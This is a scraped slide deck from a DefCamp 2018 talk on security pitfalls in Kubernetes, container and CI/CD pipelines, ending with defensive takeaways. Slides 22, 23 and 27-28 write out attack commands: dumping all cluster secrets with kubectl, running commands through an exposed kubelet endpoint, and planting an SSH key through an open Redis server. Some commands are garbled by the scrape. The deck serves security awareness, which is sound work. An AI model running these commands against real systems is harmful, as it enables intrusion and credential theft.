Successfully reported this slideshow.
We use your LinkedIn profile and activity data to personalize ads and to show you more relevant ads. You can change your ad preferences anytime.

Security pitfalls in script-able infrastructure pipelines.


Published on

Jesper Larsson in Bucharest, Romania on November 8-9th 2018 at DefCamp #9.

The videos and other presentations can be found on

Published in: Technology
  • Be the first to comment

  • Be the first to like this

Security pitfalls in script-able infrastructure pipelines.

  1. 1. $ Whoami Jesper Larsson - @herrJesper I work as a Security Consultant for Assured and Cure53. (it´s complicated) I do security research on embedded systems and infrastructure as well as penetration testing, security reviews, architectural assessments. “Professional provider of opinions” Those are my principles and if you don’t like them… Well I have more… |
  2. 2. Security pitfalls in script-able infrastructure DefCamp - 2018
  3. 3. $ Outline for this talk
  4. 4. 01. Containers, Orchestrations & Pipelines ”How is this even a talk about security, hold my beer!”.
  5. 5. $ Virtual Machines vs Containers Host Operating system Infrastructure Hypervisor Host Operating system Infrastructure Container Engine Guest OS Guest OS Guest OS Bins/Libs Bins/libs Bins/libs App1 App2 App3 Bins/Libs Bins/libs Bins/libs App1 App2 App3
  6. 6. $ Containers, Pods, Chroots, and what not
  7. 7. $ Continuous Everything!
  8. 8. $ The Playing field - Orchestrations, Pipelines Secrets Store DevOps Peeps REPO INFRA AS CODE CI / CD Container Orchestration Monitoring Pipeline = Production Environment Commit </>
  9. 9. $ Containers, Orchestrations & Pipelines
  10. 10. 02. Any security challenges?”How does this even work! Insert a clever quote here “<img src = ”.
  11. 11. $ Attack Surface?
  12. 12. $ One compromise to rule them all Secrets Store DevOps Peeps REPO INFRA AS CODE CI / CD Container Orchestration Monitoring Pipeline = Production Environment Commit </>
  13. 13. $ Attack Surface Managing Secrets Vulnerability management Configuration management Firewalling, ACL, ingress/egress, Network and service segmentation Privilege management, Role based access controls Unprotected endpoints, APIs, Services Repository management Patch management Vulnerable sources Onboarding and offboarding activities Continuous monitoring and auditing Default Credentials Security Settings Know Vulnerabilities Faulty Verifications
  14. 14. 03. Fails, Fails, Fails…”Finally time some destruction, chaos and suffering”.
  15. 15. UI CLI API Kubernetes Master API Server Scheduler Controller etcd $ Kubernetes infrastructure Image Registry Node 1 Node 2 Node 3 Node 4 Node 1, 2, 3, 4 Docker kubelet kube proxy Flannel Pod Pod Pod Pod Pod Pod Pod Pod Pod Other services Network,DNS,MX,UI Users
  16. 16. $ Security Concerns out of the box? A few... API Authentication API Authorization TLS for API traffic Role Base Authentication Cloud metadata API Access Access to kubectl Access to etcd Network ACL Ingress and Egress Encrypt Secrets at rest ACL to Kubelets Container privileges Pod Security policies Controlling capabilities in user runtime and of specific workloads Rotation for infrastructure credentials Restrict access to alpha and beta features Image verification Defense in depth Pod and node separation Monitoring
  17. 17. $ How bad was is if a etcd instance was breached?
  18. 18. $ etcd instances on the interwebz today
  19. 19. $ looking at the etcd service of kubernetes J J J J Lets have a look at the kcf.tar The most epic function! ?recursive=true
  20. 20. $ Kubernetes etcd vs internet?
  21. 21. $ Kubernetes etcd vs internet?
  22. 22. $ Pivoting from pod to cluster administrator curl -sLO "$(curl -s && chmod +x kubectl && mv kubectl /usr/local/bin" kubectl get secrets –all-namespaces –o yaml apiVersion: v1 items: - apiVersion: v1 data: site.crt: LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0t…
  23. 23. $ Kubelet command injection curl -k -XPOST "https://k8s-node-1:10250/run/kube-system/node-exporter-iuwg7/node-exporter" -d "cmd=ls -la /" curl -k -XPOST "https://k8s-node-1:10250/run/kube-system/node-exporter-iuwg7/node-exporter" -d "cmd=env"
  24. 24. $ kubectl command injection
  25. 25. $ Soo… No one would ever expose their Redis instance?
  26. 26. $ Using Redis-Cli to gain a SSH-session
  27. 27. $ Using Redis-Cli to gain a SSH-session (echo -e "nn"; cat; echo -e "nn") > key.txt “ AAAAB3NzaC1yc2EAAAADAQABAAABAQDMw97+kkv6cNlsPZDxQ/Dkxp7b7bfyj/SyvwyMmhEPe3u6TTcxh AINyKM+FrOVMfCYxI95RecR8RtoUdHf8CcmaCJ7k8VMCSbyRe7bljpQx4T[...] “
  28. 28. $ Using Redis-Cli to gain a SSH-session cat key.txt | redis-cli –h –x set woop OK redis-cli –h> config set dir /Users/jeslar/.ssh/ OK> config get dir 1) “dir” 2) ”/Users/jeslar/.ssh”> config set dbfilename “authorized_keys” OK> save OK
  29. 29. $ Using Redis-Cli to gain a SSH-session
  30. 30. • Ensure that that critical security features are enabled and configured correctly • Use authentication and authorization for all API access. Especially management API • Adopt the security model of least privileged • Mange secrets • Separate cluster for dev/test and production • Account management, VPCs, Repos • Zero-trust networking • Access controls • Security audits $ Takeaways
  31. 31. Thanks for listening @herrJesper Follow me on twitter!
  32. 32. Shameless plug time! May 23rd-24th 2019 Gothenburg, Sweden